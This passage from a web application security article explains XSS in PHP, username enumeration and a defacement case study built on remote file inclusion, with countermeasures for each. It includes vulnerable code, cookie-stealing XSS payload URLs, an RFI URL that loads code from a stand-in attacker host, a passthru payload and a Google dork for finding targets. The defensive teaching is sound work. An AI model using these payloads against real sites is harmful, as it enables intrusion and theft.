Here is a sample piece of code which is vulnerable to XSS attack:

<form action="search.php" method="GET" />
Welcome!!
<p>Enter your name: <input type="text" name="name_1" /><br />
<input type="submit" value="Go" /></p><br>
</form>

<?php
echo "<p>Your Name <br />";
echo ($_GET[name_1]);

?>

In this example, the value passed to the variable 'name_1' is not sanitized before echoing it back to the user. This can be exploited to execute any arbitrary script.

Here is some example exploit code:

http://victim_site/clean.php?name_1=<script>code</script>
or
http://victim_site/clean.php?name_1=<script>alert(document.cookie);</script>

Countermeasures

The above code can be edited in the following manner to avoid XSS attacks:

<?php

$html= htmlentities($_GET['name_1'],ENT_QUOTES, 'UTF-8');
echo "<p>Your Name<br />";
echo ($html);
?>

References:

1. htmlentities on php.net
2. SPI Dynamics XSS article
3. Essential PHP Security published by O'Reilly

2.5 Username enumeration

Rating: Less Critical

Previously vulnerable products:
Nortel Contivity VPN client, Juniper Netscreen VPN, Cisco IOS [telnet].

Figure 2 shows an example login screen:

Figure 2. Sample login screen.

Figure 3 shows the response given when a valid username is guessed correctly:

Figure 3. Valid username with incorrect password.

Username enumeration can help an attacker who attempts to use some trivial usernames with easily guessable passwords, such as test/test, admin/admin, guest/guest, and so on. These accounts are often created by developers for testing purposes, and many times the accounts are never disabled or the developer forgets to change the password.

During pen testing assignments, the authors of this article have found such accounts are not only common and have easily guessable passwords, but at times they also contain sensitive information like valid credit card numbers, passport numbers, and so on. Needless to say, these could be crucial details for social engineering attacks.

Countermeasures:

Display consistent error messages to prevent disclosure of valid usernames. Make sure if trivial accounts have been created for testing purposes that their passwords are either not trivial or these accounts are absolutely removed after testing is over - and before the application is put online.

3. Case study: notice Google's power

One day we received a call from software company XYZ in Asia-Pacific. Their Website has been defaced. The main Website displayed a message saying that the site had been hacked by somebody in Holland. But the questions buzzing in everyone's mind were:

1. Why would somebody in Holland be interested in this Website? What could the attacker gain by hacking into it? There was no critical information on the server which would benefit an attacker, certainly no credit card information. After a detailed analysis it was concluded the attack was probably done for more fun and not really for profit.
2. Most importantly, how did the hacker break in?

The site which was defaced had been running a vulnerable version of a popular e-commerce software package. The vulnerability in this software allowed an attacker to include a remote file, thereby allowing the execution of any arbitrary code within the context of the Web server's privileges. Here is the snippet of code which caused this vulnerability:

<? 
  if (!defined($include_file . '__')) { 
    define($include_file . '__', 1); 
        include($include_file); 
  } 
?>

Exploiting this vulnerability is very trivial. All the attacker did to exploit this was to include, in the URL, a remote file having the malicious code which he wanted to execute:

http://vulnerable_server/includes/include_once.php?
include_file=https://attackersite.com/exploit.txt (note: all on one line)

The attacker could then run any arbitrary code on the vulnerable server through this exploit.txt file, for example:

<? passthru("/bin/cat application.php")?>

The above code will print the source code of application.php file.

The question which needs considered here is, how did the attacker first reach this site? And how did he know that the victim is using a vulnerable version of this software? Well, a Google search for "inurl:/includes/include_once.php" lists all the web sites using this vulnerable product, and it's a cakewalk from there. Once found, the attacker's job was then simply to run the same exploit on any or all of the Websites that Google returned, and soon they would all be compromised.

Thus we see here that the attacker can easily reach a Website that uses vulnerable software through "Google dorks." In most of these cases, exploit code is readily available to the public through mailing lists, vulnerability reporting websites, and elsewhere. Therefore it becomes very trivial for the attacker to exploit known vulnerabilities in any Web application. It is not only the vendor's responsibility to release a patch as soon as the vulnerability is discovered, but also Website operators deploying software need to keep themselves updated with the security issues discovered in all the software packages they have deployed. Even if the application is not in use, if the files still exist on the server the server may still be vulnerable.

4. Defense-in-depth

Once the Web server is hardened and the application is quality tested to be secure, additional layers will still help improve one's security posture. One approach using open-source software would be to use the mod_security Apache module with a modified Snort ruleset on the Web server itself, CHROOT Apache, provide file integrity monitoring of the Web server files using AIDE, and then add Snort as either a HIDS or NIDS. With regularly updated rulesets and an administrator who actively reads his logs, this provides an effective additional layer of defense. Of course, commercial alternatives to each of these technologies is also available. However, step number one is to first make the Web application secure.

5. Conclusion

About the Authors